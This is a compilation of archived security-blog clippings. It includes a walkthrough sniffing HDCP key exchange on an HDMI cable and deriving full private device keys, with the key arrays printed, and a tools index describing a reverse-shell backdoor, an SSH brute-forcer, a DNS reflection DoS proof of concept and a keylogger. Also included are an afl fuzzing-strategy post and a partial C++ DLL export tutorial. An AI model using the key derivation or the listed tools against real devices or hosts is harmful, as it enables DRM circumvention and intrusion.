which standard applies to what, and what packets belong to who when they're
all sharing the same cable. Interesting stuff\!  
  
However, for the purposes of this exercise, the only thing we care about is
the HDCP key exchange. This is done over the DDC \(Display Data Channel\),
which is also used for plug-and-play information etc. This is basically an I2C
serial bus, living on pins 15 \(clock\) & 16 \(data\) with ground on pin 17.
I2C is a well known standard and so we can take our pick of tools in order to
monitor it. To verify I was getting sensible data, I reached from my trusty
USBEE protocol analyser and plugged my breakout cable between the secondary
HDMI port on my desktop PC and a little Bush TV. Powering on the TV triggered
the data capture:  
  
  

<img src='img/Temp2_5699' width='640' height='346' />

  
  
Good, so we are seeing 'real' I2C traffic. This decodes as the raw data
stream: '<START> <A1 Read> <ACK> <00> <NAK>'. If we zoom out a bit we can see
this is the start of a much longer conversation...  
  
  

<img src='img/Temp2_5702' width='640' height='346' />

  
A little bit of research revealed that this particular bit of data was part of
the plug-and-play info in the form of MCCS \(Monitor Control Command Set\),
which is not relevant to this discussion, so I'll say no more other than that
if you're interested in digging deeper, these packets can be monitored \(and
manipulated\) purely in software, using tools like softMCCS.  
  
So now we've got access to the raw data, we need to be able to filter what
we're looking for and decode it fully. It is possible to write custom decoders
for the USBEE, but to be fair, this device falls outside my "cheap" criteria -
I only wanted to use it as a quick check that the pins I'm looking at are the
correct ones, and that we see the type of data we expect to see. The device I
had in mind to do the actual decoding is an off-the-shelf tool that can read,
write and sniff I2C: the Bus Pirate. It's extremely cheap as well, so fits the
bill perfectly...  
  
  

<img src='img/Temp2_5700' width='400' height='306' />

  
  
Hooking it up and switching to I2C mode, we can do a simple address scan and
we should see our TV on A0 and A1:  
  
HiZ>m  
1\. HiZ  
2\. 1-WIRE  
3\. UART  
4\. I2C  
5\. SPI  
6\. 2WIRE  
7\. 3WIRE  
8\. LCD  
x. exit\(without change\)  
  
\(1\)>4  
Set speed:  
1\. ~5KHz  
2\. ~50KHz  
3\. ~100KHz  
4\. ~400KHz  
  
\(1\)>3  
Ready  
I2C>\(0\)  
0.Macro menu  
1.7bit address search  
2.I2C sniffer  
I2C>\(1\)  
Searching I2C address space. Found devices at:  
0xA0\(0x50 W\) 0xA1\(0x50 R\)  
  
Nice\! So let's see what we get if we run the built-in I2C sniffer macro and
power on the TV:  
  
I2C>\(2\)  
Sniffer  
Any key to exit  
\[0xA0+0x00+\[0xA1+0x00+0xFF+0xFF+0xFF+0xFF+0xFF+0xFF+0x00+0x0E+0xD4+0x4C+0x54+  
0x01+0x00+0x00+0x00+0x14+0x10+0x01+0x03+0x80+0x47+0x28+0x78+0x0A+  
0x0D+0xC9+0xA0+0x57+0x47+0x98+0x27+0x12+0x48+0x4C+0x20+0x00+0x00+  
0x01+0x01+0x01+0x01+0x01+0x01+0x01+0x01+0x01+0x01+0x01+0x01+0x01+  
0x01+0x01+0x01+0x01+0x1D+0x80+0xD0+0x72+0x1C+0x16+0x20+0x10+0x2C+  
0x25+0x80+0xC4+0x8E+0x21+0x00+0x00+0x9E+0x01+0x1D+0x00+0xBC+0x52+  
0xD0+0x1E+0x20+0xB8+0x28+0x55+0x40+0xC4+0x8E+0x21+0x00+0x00+0x1E+  
0x00+0x00+0x00+0xFC+0x00+0x48+0x44+0x4D+0x49+0x20+0x54+0x56+0x0A+  
0x20+0x20+0x20+0x20+0x20+0x00+0x00+0x00+0xFD+0x00+0x1E+0x3D+0x0F+  
0x44+0x0B+0x00+0x0A+0x20+0x20+0x20+0x20+0x20+0x20+0x01+0xCA-\]\[0x6E-\]\[0x6E-\]\[0x6E-\]  
  
Again, very nice\! I was expecting to have to do some fiddling around, but
this just worked first time. Good job, Bus Pirateers\! :\)  
  
Right, so we've established that we can use the Bus Pirate to sniff the
traffic, but what about those pesky HDCP crypto keys?  
  
First job is to read the HDCP specification, which will make your head hurt. A
lot. However, since I've now done it, you don't have to. You're welcome. :P  
  
We obviously don't want to do this in a serial terminal window, so I wrote a
little python wrapper to drive the Bus Pirate and interpret the results:  
  
$ hdmi-sniff.py /dev/ttyUSB0  
  
Connecting...  
Detected Bus Pirate  
Switching to I2C mode  
Sniffing...  
  
Address: A1 \(DDC2B Monitor \(memory\)\) \(read\)  
Payload:  
Address: A1 \(DDC2B Monitor \(memory\)\) \(read\)  
Payload:  
Address: A1 \(DDC2B Monitor \(memory\)\) \(read\)  
Payload:  
Address: A0 \(DDC2B Monitor \(memory\)\) \(write\)  
EDID: 00FFFFFFFFFFFF000ED44C540100000014100103804728780A0DC  
9A05747982712484C20000001010101010101010101010101010101011D80D072  
1C1620102C2580C48E2100009E011D00BC52D01E20B8285540C48E2100001E000  
000FC0048444D492054560A2020202020000000FD001E3D0F440B000A20202020  
202001CA  
  
OK, that looks pretty good. We've intercepted the EDID \(Extended Display
Identification Data\), and checking this against the softMCCS output, I can
see that we're getting exactly what was transmitted, so everything seems to be
working. Now let's see what happens when we generate an HDCP packet.  
  
Basically, what we should see is packets being sent to either the "Primary
Link HDCP Port" \(74\) or the "Secondary Link HDCP Port" \(76\), and what the
standard refers to as an "offset" address tells you what type of packet it is.
We are looking for Aksv \(HDCP Transmitter KSV\) or Bksv \(HDCP Receiver
KSV\). "KSV" stands for "Key Selection Vector", and is the magic number that
allows the devices to calculate a common shared key. If we can sniff those,
and we have the master key material, then we can calculate the corresponding
private keys. Job done.  
  
However, playing a copy-protected DVD onto the TV display did this:  
  
$ hdmi-sniff.py /dev/ttyUSB0  
  
Connecting...  
Detected Bus Pirate  
Switching to I2C mode  
Sniffing...  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Bksv \(HDCP Receiver KSV\)  
00000075A6 \(INVALID\)  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Bksv \(HDCP Receiver KSV\)  
00000075A6 \(INVALID\)  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Bksv \(HDCP Receiver KSV\)  
00000075A6 \(INVALID\)  
  
So we're seeing the expected packets, but they don't decode correctly
\(according to the spec, we can tell if it's a valid KSV as it should be 40
bits long and have exactly 20 '0' bits, and 20 '1' bits\). Just to be sure it
wasn't my code getting it wrong, I viewed it back in the terminal:  
  
I2C>\(2\)  
Sniffer  
Any key to exit  
\[0x74+0x00-0x75+0xA6+\]\]\[0x74+0x80-0x75+\]\]\[0x76+0x00-0x77+0xA6+\]\]\[0x74+0x00-0x75+0xA6+\]\]\[0x74+0x80-0x75+\]\]\[0x76+0x00-0x77+0xA6+\]  
  
Rats\! We're losing significant amounts of data. We should be seeing 7 byte
packets: 0x74 + 0x00 + 5 bytes of KSV. I guess this type of data is
transmitted faster than the Bus Pirate can cope with \(their notes say it's
only expected to work up to ~100kHz, and the HDCP spec says we may be going at
either 100kHz or 400kHz\). Back to the drawing board\! :\(  
  
I was hoping to use something entirely off the shelf, but at Aperture Labs we
often come across situations like this, where the tool either doesn't exist,
is too expensive, or simply doesn't have the appropriate capabilities.
Accordingly, we've developed an in-house device \(inspired by the Bus
Pirate\!\), called GPHHT \(pronounced "gift"\), which stands for General
Purpose Hardware Hacking Tool. It works very similarly to the Bus Pirate, in
that it allows me to talk to it over USB, connect anything I want to play with
and it will interpret arbitrary data lines in any way I like, but it is much
faster, running at 60MHz, and has loads of memory so the firmware can be
easily extended to support just about anything. It runs on an off the shelf
microprocessor development platform, so is also very cheap and easy to get
hold of.  
  
GPHHT doesn't currently do I2C, so the first stage was to write the sniffer
module. As it's an open standard this was pretty trivial, and I used the same
output notation as the Bus Pirate so I wouldn't need to change my wrapper
script:  
  
gphht Bin> hex  
gphht Hex> raw  
gphht RAW Hex> i2c  
I2C RAW Hex> readl  
  
\[0x74+0x40+\[0x75+0x9C-\]  
\[0x77+0x53+0x58+0x8A+0xF8+0xB6-\]  
\[0x74+0x00+\[0x75+0x53+0x58+0x8A+0xF8+0xB6-\]  
\[0x76+0x00+\[0x77+0x53+0x58+0x8A+0xF8+0xB6-\]  
\[0x74+0x00+\[0x75+0x53+0x58+0x8A+0xF8+0xB6-\]  
\[0x76+0x00+\[0x77+0x53+0x58+0x8A+0xF8+0xB6-\]  
\[0x74+0x00+\[0x75+0x53+0x58+0x8A+0xF8+0xB6-\]  
\[0x76+0x00+\[0x77+0x53+0x58+0x8A+0xF8+0xB6-\]  
\[0x74+0x10+0xB7+0x25+0xC4+0xF2+0x2A+\]  
\[0x74+0x08+\[0x75+0x2B+0x84-\]  
\[0x74+0x08+\[0x75+0x2B+0x84-\]  
\[0x74+0x08+\[0x75+0x2B+0x84-\]  
\[0x74+0x08+\[0x75+0x88+0xF0-\]  
\[0x74+0x08+\[0x75+0x88+0xF0-\]  
\[0x74+0x08+\[0x75+0x88+0xF0-\]  
\[0x74+0x08+\[0x75+0xD5+0xF7-\]  
\[0x74+0x08+\[0x75+0xD5+0xF7-\]  
  
That looks better - now our 0x74+0x00+ and 0x76+0x00+ packets are followed by
0x75 / 0x77 and the expected 5 bytes of KSV.  
  
Interestingly, now we can see what's really going on, the second chunk
includes another 'START' \(shown as '**\[** ' below\) :  
  
\[0x74+0x00+**\[** 0x75+0x53+0x58+0x8A+0xF8+0xB6-\]  
  
This is known as a 'RESTART', and changes the direction of the I2C bus. I
suspected, therefore, that the problem with the Bus Pirate was not speed at
all, but mis-handling of a RESTART, as in our earlier capture it's flagging it
as a 'NAK' instead of a 'START' \(shown as '**-** '\):  
  
\[0x74+0x00**-** 0x75+0xA6+\]  
  
Looking at the Bus Pirate source code, I could see a lot of changes had been
made since my last update, so I flashed it with the latest firmware
\(6.2-beta-1\), and happy, happy, joy, joy:  
  
I2C>\(2\)  
Sniffer  
Any key to exit  
\[0x76+0x00+\[0x77+0x53+0x58+0x8A+0xF8+0xB6-\]  
\[0x74+0x00+\[0x75+0x53+0x58+0x8A+0xF8+0xB6-\]  
  
We are now seeing the RESTARTs, and when we run the script we get:  
  
$ ./hdmi-sniff.py /dev/ttyUSB0  
  
Detected Bus Pirate  
Switching to I2C mode  
Sniffing...  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Bksv \(HDCP Receiver KSV\)  
**KSV: 53588AF8B6**  
  
Address: 76 \(Secondary Link HDCP Port\) \(write\)  
Offset: Bksv \(HDCP Receiver KSV\)  
**KSV: 53588AF8B6**  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Aksv \(HDCP Transmitter KSV\)  
**KSV: B725C4F22A**  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: F84F  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: F84F  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: F84F  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: F84F  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: C31D  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: C31D  
  
etc. It now sits there sending a new Ri' every couple of seconds, which is the
link integrity check being rolled as per the spec.  
  
Great, so now what? We've got the KSV for both receiver and transmitter, so in
theory we can generate the private keys. Although this is technically not
difficult - all we are doing is selecting elements of the master key array
based on the KSV and performing some very minor mathematics on them - I am not
a great fan of re-inventing the wheel \(yes, _lazy_\), so I had a quick look
to see if someone's already done it for me. Of course they have: Rich Wareham
has helpfully provided hdcp-genkey. We can take the KSV output from above and
feed it to his program and we get:  
  
$ ./generate\_key.py -k --ksv=53588af8b6  
KSV: 53588af8b6  
  
Sink Key:  
07fbf213e9ca75 c9964fc6e8e7f8 6484e809582eea b8f03477efb166 245150b693dda3  
3f1447c4080ed7 46ac3de434d1fc 6c5251d4f26e20 b44a36970c3832 cc4f5af96cbd75  
0651c2db48cf59 4ed0f06fcd927a a33b970e3d0abc ffc3e1a9980eb0 5920bb4240ed76  
24025e0ebc35ec cf99b68b95cfd7 23616535d292ad 471e2e8d7512e8 1ea828fc50f651  
d6b5483e171157 8e57f9df3ca465 1dc20f8fe4394f 4730f09cb7372f 9f93706e572503  
38c9ed91e6ed19 4a05391a803786 eea18880318af5 f8ca423dda9f73 6b0c8506c5bd8a  
1f460918ccc29b d446972e83a614 585d1ff636cad4 fb0a9dc56c3681 497a8886d3f49a  
8f15fec96a69fd 9dce6d17d77068 b600fecd2da322 d87bd0cda9739e e2ce65bc3f3a09  
  
Or better still, call his code from my script and get it automatically:  
  
$ ./hdmi-sniff.py /dev/ttyUSB0  
  
Detected Bus Pirate  
Switching to I2C mode  
Sniffing...  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Bksv \(HDCP Receiver KSV\)  
KSV: 53588AF8B6  
  
Sink Key:  
07fbf213e9ca75 c9964fc6e8e7f8 6484e809582eea b8f03477efb166 245150b693dda3  
3f1447c4080ed7 46ac3de434d1fc 6c5251d4f26e20 b44a36970c3832 cc4f5af96cbd75  
0651c2db48cf59 4ed0f06fcd927a a33b970e3d0abc ffc3e1a9980eb0 5920bb4240ed76  
24025e0ebc35ec cf99b68b95cfd7 23616535d292ad 471e2e8d7512e8 1ea828fc50f651  
d6b5483e171157 8e57f9df3ca465 1dc20f8fe4394f 4730f09cb7372f 9f93706e572503  
38c9ed91e6ed19 4a05391a803786 eea18880318af5 f8ca423dda9f73 6b0c8506c5bd8a  
1f460918ccc29b d446972e83a614 585d1ff636cad4 fb0a9dc56c3681 497a8886d3f49a  
8f15fec96a69fd 9dce6d17d77068 b600fecd2da322 d87bd0cda9739e e2ce65bc3f3a09  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: An \(Session random number\)  
Payload: 7B86869FA8EEEBCE  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Aksv \(HDCP Transmitter KSV\)  
KSV: B725C4F22A  
  
Source Key:  
92af82fbb07fff a2632f3ddbeb4e 56a24325e28ec9 292df9fb3946ed 99c8ffaf619607  
928cd5d0a01253 58b273ab09aab3 5bea73fddbe139 474059feea93f2 f5d34950a91d63  
1c8087bfceab0a 9fd711c734bb8d 635d7cb7141fb0 b0f89e8ddad43f 754a4464d33b6b  
f11aa1eb87b8e3 bc58a1dc908520 86206c2dda2a83 9066cfbb3cf870 068d6b9725939c  
80ba2f0d915c50 e9f9c6f60f7820 e3e8cde8fd7418 e5f1f1970c19c5 f921dc6f751380  
8869f1505a2557 b54ac17e0a91f0 e31486ff6730ed 84503b00fef20d afb76def4694f4  
29aa9778cbbba5 e5c07e0cb49c84 8f14d5c80e71c8 2ad8660de0bd09 79c7ebbf7d8a70  
b7952a1ae14ff5 afc7f5822a001d a60199bde07143 79070ac716f68e 88534d26956da1  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: AD66  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: AD66  
  
Address: 74 \(Primary Link HDCP Port\) \(write\)  
Offset: Ri' \(Link verification response\)  
RI: AD66  
  
What was that? Oh, yes: job done\! :\)  
  
So why is this important?  
  
Well, quite simply, it renders not only the encryption utterly pointless, as
armed with the keys anyone can decrypt the traffic, but also the entire
defence mechanism for the protocol. The system relies on the uniqueness of
each device key, and incorporates a mechanism for issuing key revocation
lists. The idea being that if someone were to manufacture and distribute an
HDCP stripper \(i.e. a device that accepts encrypted input but then outputs
plaintext\), it's own unique key can be revoked by the powers that be simply
by publishing it's KSV on the revocation list \(which is distributed on every
new piece of media, such as DVD, Bluray etc.\). However, since the master key
material is now "out there", any such device need not have a static key. It
can make them up on the fly, or simply imitate one of the ones in the 'real'
device chain.  
  
Like I said: broken.

# nullsecurity team

**Created:**| _2/11/2012 11:45:23 AM_  
---|---  
**Updated:**| _2/11/2012 11:45:26 AM_  
**Author:**| __  
**Tags:**| _bookmark security tools network-security_  
  

News | Tools | Shellcodes | Advisories | Papers | Videos | About
# >> Tools

## :: Backdoor ::  
---  
_File_|  _Description_|  _MD5_|  _Author_  
---|---|---|---  
trixd00r-0.0.1.tar.gz| trixd00r is an advanced and invisible userland backdoor
based on TCP/IP for UNIX systems. It consists of a server and a client. The
server sits and waits for magic packets using a sniffer. If a magic packet
arrives, it will bind a shell over TCP or UDP on the given port or connecting
back to the client again over TCP or UDP. The client is used to send magic
packets to trigger the server  
and get a shell.| 01d679c8bdbcea9db29455669165e216| noptrix  
  

## :: Bruteforcer ::  
---  
_File_|  _Description_|  _MD5_|  _Author_  
---|---|---|---  
sshtrix-0.0.2.tar.gz| sshtrix is a very fast multithreaded SSH login cracker.
It supports SSHv1 and SSHv2.  
sshtrix was designed to automate rapid bruteforce attacks against SSH
authentification screens. Unlike other public tools, the aim is to keep it
simple, stable, fast and modular.  
With its clean code design, it is easy to extend the code to a framework or to
fork it against protocols of your choice.| cc9eecb6fb3729152a1fd79851b634fc|
noptrix  
|  
dnsspider-0.3.py| A very fast multithreaded bruteforcer of subdomains that
leverages a wordlist and/or character permutation.|
6c670d23901224c95a6481246fe8957f| noptrix  
  

## :: Denial of Service ::  
---  
_File_|  _Description_|  _MD5_|  _Author_  
---|---|---|---  
dnsdrdos.c| Proof of concept code that demonstrates a distributed DNS
reflection denial of service attack.| 1d6ee3ae4c4eead5651d1855db8261da|
noptrix  
  

## :: Fuzzer ::  
---  
_File_|  _Description_|  _MD5_|  _Author_  
---|---|---|---  
ftp-fuzz.py| ftp-fuzz.py - The master of all master fuzzing scripts
specifically targeted towards FTP server sofware.|
6229c149acaf9a83ab37e9c0f0768270| TheXero  
|  
uniofuzz.py| UniOFuzz - the universal fuzzing tool for browsers, web services,
files, programs and network services/ports.| 699ae0a5715729e8d320012413fac2fe|
pigtail23  
  

## :: Keylogger ::  
---  
_File_|  _Description_|  _MD5_|  _Author_  
---|---|---|---  
iXKeyLog-0.1.tar.gz| iXKeylog is a X11 keylogger for Unix that basically uses
xlib to interact with users keyboard.  
iXkeylog will listen for certain X11 events and then trigger specific routines
to handle these  
events.| 39e280cd02a3f01dffa1c6cae8e5b17e| Cyneox  
  

## :: Scanner ::  
---  
_File_|  _Description_|  _MD5_|  _Author_  
---|---|---|---  
dnsgoblin.c| Nasty creature constantly searching for DNS servers. It uses
standard dns querys and  
waits for the replies.| 31729c0572ab19ea0883ccf73f035b08| atzeton  
  

## :: Wireless LAN ::  
---  
_File_|  _Description_|  _MD5_|  _Author_  
---|---|---|---  
hwk\_0.3.2.tar.gz| hwk is an easy-to-use wireless authentication and
deauthentication tool. Furthermore, it also supports probe response fuzzing,
beacon injection flooding, antenna alignment and various injection testing
modes. Informatingathering is selected by default and shows the incoming  
traffic indicating the packet types.| f5a4a3da2d8e2d80809703f105478699

# lcamtuf's blog: Binary fuzzing strategies: what works, what doesn't

**Created:**| _8/8/2014 7:51:28 PM_  
---|---  
**Updated:**| _8/8/2014 7:51:28 PM_  
**Author:**| __  
**Tags:**| _Fuzzer binary_  
  

# Binary fuzzing strategies: what works, what doesn't

Successful fuzzers live and die by their fuzzing strategies. If the changes
made to the input file are too conservative, the fuzzer will achieve very
limited coverage. If the tweaks are too aggressive, they will cause most
inputs to fail parsing at a very early stage, wasting CPU cycles and spewing
out messy test cases that are difficult to investigate and troubleshoot.  
  
Designing the mutation engine for a new fuzzer has more to do with art than
science. But one of the interesting side effects of the design of american
fuzzy lop is that it provides a rare feedback loop: you can carefully measure
what types of changes to the input file actually result in the discovery of
new branches in the code, and which ones just waste your time or money.  
  
This data is particularly easy to read because the fuzzer also approaches
every new input file by going through a series of progressively more complex,
but exhaustive and deterministic fuzzing strategies - say, sequential bit
flips and simple arithmetics - before diving into purely random behaviors. The
reason for this is the desire to generate the simplest and most elegant test
cases first; but the design also provides a very good way to quantify how much
value each new strategy brings in to the table - and whether we need it at
all.  
  
The measurements of _afl_ fuzzing efficiency are remarkably consistent across
a variety of real-world binary formats - anything ranging from image files
\(JPEG, PNG, GIF, WebP\) to archives \(gzip, xz, tar\) - and because of this,
I figured that sharing the data more broadly will be useful to folks who are
working on fuzzers of their own. So, let's dive in:

  * **Walking bit flips:** the first and most rudimentary strategy employed by _afl_ involves performing sequential, ordered bit flips. The stepover is always a single bit; the number of bits flipped in a row varies from one to four. The observed yields are: 
    * Flipping a single bit: ~70 new paths per one million generated inputs, 
    * Flipping two bits in a row: ~20 additional paths per million generated inputs, 
    * Flipping four bits in a row: ~10 additional paths per million inputs. 
\(Note that the counts for every subsequent pass include only the paths that
could **not** have been discovered by the preceding strategy.\)  
  
Of course, the strategy is relatively expensive, with each pass requiring
eight _execve\(\)_ per every byte of the input file. With the returns are
diminishing rapidly, _afl_ stops after these three passes - and switches to a
second, less expensive strategy past that point.

  * **Walking byte flips:** a natural extension of walking bit flip approach, this method relies on 8-, 16-, or 32-bit wide bitflips with a constant stepover of one byte. This strategy discovers around ~30 additional paths per million inputs, on top of what could have been triggered with shorter bit flips.   
  
It should be fairly obvious that each pass takes approximately one
_execve\(\)_ call per one byte of the input file, making it surprisingly
cheap, but also limiting its potential yields in absolute terms.

  * **Simple arithmetics:** to trigger more complex conditions in a deterministic fashion, the third stage employed by _afl_ attempts to subtly increment or decrement existing integer values in the input file; this is done with a stepover of one byte. The experimentally chosen range for the operation is -24 to +24; past these bounds, fuzzing yields drop dramatically.   
  
When it comes to the implementation, the stage consists of three separate
operations. First, the fuzzer attempts to perform subtraction and addition on
individual bytes. With this out of the way, the second pass involves looking
at 16-bit values, using both endians - but incrementing or decrementing them
only if the operation would have also affected the most significant byte. The
final stage follows the same logic, but for 32-bit integers.  
  
The yields for this method vary depending on the format - ranging from ~2
additional paths per million in JPEG to ~8 per million in xz. The cost is
relatively high, averaging around 20 _execve\(\)_ calls per one byte of the
input file - but can be significantly improved with only a modest impact on
path coverage by sticking to +/- 16.

  * **Known integers:** the last deterministic approach employed by _afl_ relies on a hardcoded set of integers chosen for their demonstrably elevated likelihood of triggering edge conditions in typical code \(e.g., -1, 256, 1024, MAX\_INT-1, MAX\_INT\). The fuzzer uses a stepover of one byte to sequentially overwrite existing data in the input file with one of the approximately two dozen "interesting" values, using both endians.   
  
The yields for this stage are between 2 and 5 additional paths per one million
tries; the average cost is roughly 30 _execve\(\)_ calls per one byte of input
file.

  * **Stacked tweaks:** with deterministic strategies exhausted for a particular input file, the fuzzer continues with a never-ending loop of randomized operations that consist of a stacked sequence of: 
    * Single-bit flips, 
    * Attempts to set "interesting" bytes, words, or dwords \(both endians\), 
    * Addition or subtraction of small integers to bytes, words, or dwords \(both endians\), 
    * Completely random single-byte sets, 
    * Block deletion, 
    * Block duplication via overwrite or insertion, 
    * Block memset. 
Based on a fair amount of testing, the optimal execution path yields appear to
be achieved when the probability of each operation is roughly the same; the
number of stacked operations is chosen as a power-of-two between 1 and 64; and
the block size for block operations is capped at 100 bytes or 75% of input
file size, whichever comes first.  
  
The absolute yield for this stage is typically comparable or higher than the
total number of execution paths discovered by all deterministic stages earlier
on.

  * **Test case splicing:** this is a last-resort strategy that involves taking two distinct input files from the queue that differ in at least two locations; and splicing them at a random location in the middle before sending this transient input file through a short run of the "stacked tweaks" algorithm. This strategy usually discovers around 20% additional execution paths that are unlikely to trigger using the previous operation alone.   
  
\(Of course, this method requires a good, varied corpus of input files to
begin with; _afl_ generates one automatically, but for other tools, you may
have to construct it manually.\)

Well, that's it\! If you ever decide to try out afl, you can watch these and
other cool stats on your screen in real time.

# Research, Develop, Assess, Consult & Educate | Recx: Working with C++ DLL Exports without Source or Headers
**Created:**| _2/8/2012 1:27:11 PM_  
---|---  
**Updated:**| _2/8/2012 1:27:22 PM_  
**Author:**| __  
**Tags:**| _C++ programming DLL_  
  

### Working with C++ DLL Exports without Source or Headers

We had a small problem that we had to overcome last week during an assessment.
This blog entry is going to show the mistakes we made along the way and how it
was finally solved.

  

We had acquired a 64 bit DLL which exported a C++ class and associated methods
that contained some secret sauce \(reversing was infeasible in the allotted
time\). We've put together the following example DLL to demonstrate:

  

123456789| `#define DLLCPP_API __declspec(dllexport) `` ``class` `DLLCPP_API
CDLLCPP { `` ``private``: `` ``bool` `bInit; `` ``public``: `` ``CDLLCPP(); ``
``~CDLLCPP(); `` ``int` `SuperSecretSauce(``char` `*strString); `` ``}; `  
---|---  
  

As we didn't have the code, library or headers we ran dumpbin.exe /exports
against the compiled DLL to reveal the exported names \(note: the code project
solution to dynamic C++ DLL loading needs headers\):

[code]

     Microsoft (R) COFF/PE Dumper Version 10.00.40219.01  
     Copyright (C) Microsoft Corporation. All rights reserved.  
     Dump of file DLLCPP.dll  
     File Type: DLL  
      Section contains the following exports for DLLCPP.dll  
       00000000 characteristics  
       4F2E3F6C time date stamp Sun Feb 05 08:35:56 2012  
         0.00 version  
           1 ordinal base  
           4 number of functions  
           4 number of names  
       ordinal hint RVA   name  
          1  0 00001010 ??0CDLLCPP@@QEAA@XZ  
          2  1 00001020 ??1CDLLCPP@@QEAA@XZ  
          3  2 00001000 ??4CDLLCPP@@QEAAAEAV0@AEBV0@@Z  
          4  3 00001030 ?SuperSecretSauce@CDLLCPP@@QEAAHPEAD@Z  
      Summary  
         1000 .data  
         1000 .pdata  
         1000 .rdata  
         1000 .reloc  
         1000 .rsrc  
         1000 .text  
    
[/code]

We wanted to call the SuperSecretSauce method, so ran undname.exe on the
export \(note: the DLL is 64bit in this example as well hence the \_\_ptr64\):

[code]

     C:\>undname ?SuperSecretSauce@CDLLCPP@@QEAAHPEAD@Z  
     Microsoft (R) C++ Name Undecorator  
     Copyright (C) Microsoft Corporation. All rights reserved.  
     Undecoration of :- "?SuperSecretSauce@CDLLCPP@@QEAAHPEAD@Z"  
     is :- "public: int __cdecl CDLLCPP::SuperSecretSauce(char * __ptr64) __ptr64"  
    
[/code]

**Pro Tip:** You can run undname.exe against the output of dumpbin.exe
/exports:

  * dumpbin /exports DLLCPP.dll > out.txt
  * undname < out.txt

We end up with \(our comments are in blue text\):

[code]

       // The constructor  
       1  0 00001010 public: __cdecl CDLLCPP::CDLLCPP(void) __ptr64  
       // The deconstructor  
       2  1 00001020 public: __cdecl CDLLCPP::~CDLLCPP(void) __ptr64  
       // The class  
       3  2 00001000 public: class CDLLCPP & __ptr64 __cdecl CDLLCPP::operator=(class CDLLCPP const & __ptr64) __ptr64  
       // The SuperSecretSauce Method  
       4  3 00001030 public: int __cdecl CDLLCPP::SuperSecretSauce(char * __ptr64) __ptr64  
    
[/code]

**Pro Tip 2:** There is also the the UnDecorateSymbolName function in DbgHelp

  
We put together some code to try and call the method like so:

  

12345678910111213141516171819202122| `#include "stdafx.h" `` ``#include
<Windows.h> `` ``#include <strsafe.h> `` ``#include <Dbghelp.h> `` ``typedef`
`void` `(__cdecl* _ExampleSecretSauce)(``char` `*); `` ``int` `_tmain(``int`
`argc, _TCHAR* argv[]) `` ``{ `` ``fprintf``(stdout,``"[i] Recx - C++ class
DLL example\n"``); `` ``HMODULE` `modDLL = LoadLibrary(L``".\\DLLCPP.dll"``);
`` ``if` `(modDLL==NULL) `` ``{ `` ``fprintf``(stderr,``"[!] Could not load
.\\DLLCPP.dll"``); `` ``return` `1; `` ``} `` ``_ExampleSecretSauce
OurImportedSecretSauce =
(_ExampleSecretSauce)GetProcAddress(modDLL,``"?SuperSecretSauce@CDLLCPP@@QEAAHPEAD@Z"``);
`` ``if``(OurImportedSecretSauce==NULL){ `` ``fprintf``(stderr,``"[!] Could
not get address of the secret sauce method"``); `` ``return` `1; `` ``} ``
``OurImportedSecretSauce(``"Hello Secret Sauce"``); `` ``return` `0; `` ``} `  
---|---  
But when we run this code we get the following response from the
SuperSecretSauce method if were lucky enough that it doesn't crash:

> \[i\] Recx - C++ class DLL example  
>  \[\!\] Our constructor has not been called\!
The error above is due a check we've put in the demo method, in the real world
all manner of unpredictable outcomes could occur. At which point its worth
pointing out when you normally instantiate a method from a C++ class the code
would be something like this:

123456789| `#include "stdafx.h" `` ``#include "DLLCPP.h" `` ``#pragma
comment(lib,".\\Release\\dllcpp.lib") `` ``int` `_tmain(``int` `argc, _TCHAR*
argv[]) `` ``{ `` ``CDLLCPP *cppDLL = ``new` `CDLLCPP(); ``
``cppDLL->SuperSecretSauce(``"Hello"``); `` ``return` `0; `` ``} `  
---|---  
So we modified the code to first import and call the constructor.  

1234567891011121314151617181920212223242526272829| `#include "stdafx.h" ``
``#include <Windows.h> `` ``#include <strsafe.h> `` ``#include <Dbghelp.h> ``
``typedef` `void` `(__cdecl* _ExampleConstruct)(); `` ``typedef` `void`
`(__cdecl* _ExampleSecretSauce)(``char` `*); `` ``int` `_tmain(``int` `argc,
_TCHAR* argv[]) `` ``{ `` ``fprintf``(stdout,``"[i] Recx - C++ class DLL
example\n"``); `` ``HMODULE` `modDLL = LoadLibrary(L``".\\DLLCPP.dll"``); ``
``if` `(modDLL==NULL) `` ``{ `` ``fprintf``(stderr,``"[!] Could not load
.\\DLLCPP.dll"``); `` ``return` `1; `` ``} `` ``_ExampleConstruct
OurImportedConstructor =
(_ExampleConstruct)GetProcAddress(modDLL,``"??0CDLLCPP@@QEAA@XZ"``); ``
``if``(OurImportedConstructor==NULL){ `` ``fprintf``(stderr,``"[!] Could not
get address of the constructor"``); `` ``return` `1; `` ``} ``
``_ExampleSecretSauce OurImportedSecretSauce =
(_ExampleSecretSauce)GetProcAddress(modDLL,``"?SuperSecretSauce@CDLLCPP@@QEAAHPEAD@Z"``);
`` ``if``(OurImportedSecretSauce==NULL){ `` ``fprintf``(stderr,``"[!] Could
not get address of the secret sauce method"``); `` ``return` `1; `` ``} ``
``OurImportedConstructor(); `` ``OurImportedSecretSauce(``"Hello Secret
Sauce"``); `` ``return` `0; `` ``} `  
---|---  
When we ran this code it just crashed with an access violation in the
constructor . This should have been obvious in hindsight. If we look at the
